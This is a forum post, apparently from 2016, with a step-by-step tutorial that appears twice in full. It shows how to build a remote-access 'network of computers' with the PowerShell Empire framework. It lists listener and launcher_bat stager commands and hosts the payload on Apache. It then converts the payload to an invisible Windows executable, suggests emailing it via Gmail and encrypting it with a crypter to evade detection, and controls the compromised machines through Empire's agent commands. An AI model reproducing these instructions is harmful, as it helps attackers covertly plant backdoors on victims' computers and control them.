Sep 23, 2016 02:11 AM
(This post was last modified: Sep 23, 2016 02:38 AM by Mr. Robot.)
So this is probably the easiest way to create a simple and basic network of computers.
(you will need to port forward but this tutorial is for LAN which you don't need to port forward for)
![[Image: 3Je608o.png]](https://i.imgur.com/3Je608o.png)
What you need
https://github.com/PowerShellEmpire/Empire
Download Empire and extract it. Then run the ./setup/install.sh script.
Once that has finished, what you want to do is run ./Empire
When it has loaded up, you will need to type in the following.
listeners
info
set Host http://192.168.1.50:8080
Please note you need to set the 192.168.1.50 to your own ipv4, you can check that by opening another terminal and typing ipconfig.
Then type in the following to make sure it's all correct.
info
If it is, you can then run
execute
list
Then we want to run
usestager launcher_bat
Then type in info again to check the options
You will want to set the listener to the profile we made before and make the project host itself for you so you can easily access it from another machine so type in
set Listener test
set OutFile /var/www/html/power.bat
You can then run
execute
Now we run the apache server to host your file for easy access from other machines on your network.
service apache2 start
To download this remotely, just go to your computers ipv4 address from another machine
192.168.1.50/power.bat
Now on a windows machine, we will want to convert this to a .exe
Download this
http://download.cnet.com/Bat-To-Exe-Conv...55897.html
And choose the file + outfile.
Make the visibility "invisible application"
Change temporary file to "Do not delete"
Change Architecture to 32 bit (as it will work on 64 too)
Now create it.
This can be sent via Gmail.
You can copy that .exe back onto your linux machine and move it into your /var/www/html/ folder so you can access it remotely if you so wish.
Now you can crypt that with a crypter that works if you really want to otherwise just run it and you will see it pop up on your linux empire console window.
From there you can type agents and then list to see the names and sessions you have.
Sometimes the names will be a crazy length, you can just do
rename HTHDFGFDGSDF netherlandspc
And then access it by using
interact netherlandspc
I haven't checked how many connections this can handle but you can set multiple profiles on different setups, for example you can create one on a vpn network A and another on B and swap between them to see the different lists.
Let me know if you want some pictures for this or some more info.
(you will need to port forward but this tutorial is for LAN which you don't need to port forward for)
![[Image: 3Je608o.png]](https://i.imgur.com/3Je608o.png)
What you need
https://github.com/PowerShellEmpire/Empire
Download Empire and extract it. Then run the ./setup/install.sh script.
Once that has finished, what you want to do is run ./Empire
When it has loaded up, you will need to type in the following.
listeners
info
set Host http://192.168.1.50:8080
Please note you need to set the 192.168.1.50 to your own ipv4, you can check that by opening another terminal and typing ipconfig.
Then type in the following to make sure it's all correct.
info
If it is, you can then run
execute
list
Then we want to run
usestager launcher_bat
Then type in info again to check the options
You will want to set the listener to the profile we made before and make the project host itself for you so you can easily access it from another machine so type in
set Listener test
set OutFile /var/www/html/power.bat
You can then run
execute
Now we run the apache server to host your file for easy access from other machines on your network.
service apache2 start
To download this remotely, just go to your computers ipv4 address from another machine
192.168.1.50/power.bat
Now on a windows machine, we will want to convert this to a .exe
Download this
http://download.cnet.com/Bat-To-Exe-Conv...55897.html
And choose the file + outfile.
Make the visibility "invisible application"
Change temporary file to "Do not delete"
Change Architecture to 32 bit (as it will work on 64 too)
Now create it.
This can be sent via Gmail.
You can copy that .exe back onto your linux machine and move it into your /var/www/html/ folder so you can access it remotely if you so wish.
Now you can crypt that with a crypter that works if you really want to otherwise just run it and you will see it pop up on your linux empire console window.
From there you can type agents and then list to see the names and sessions you have.
Sometimes the names will be a crazy length, you can just do
rename HTHDFGFDGSDF netherlandspc
And then access it by using
interact netherlandspc
I haven't checked how many connections this can handle but you can set multiple profiles on different setups, for example you can create one on a vpn network A and another on B and swap between them to see the different lists.
Let me know if you want some pictures for this or some more info.




![[Image: 3205yrS.gif]](https://i.imgur.com/3205yrS.gif)
![[Image: otioqRQ.png]](https://i.imgur.com/otioqRQ.png)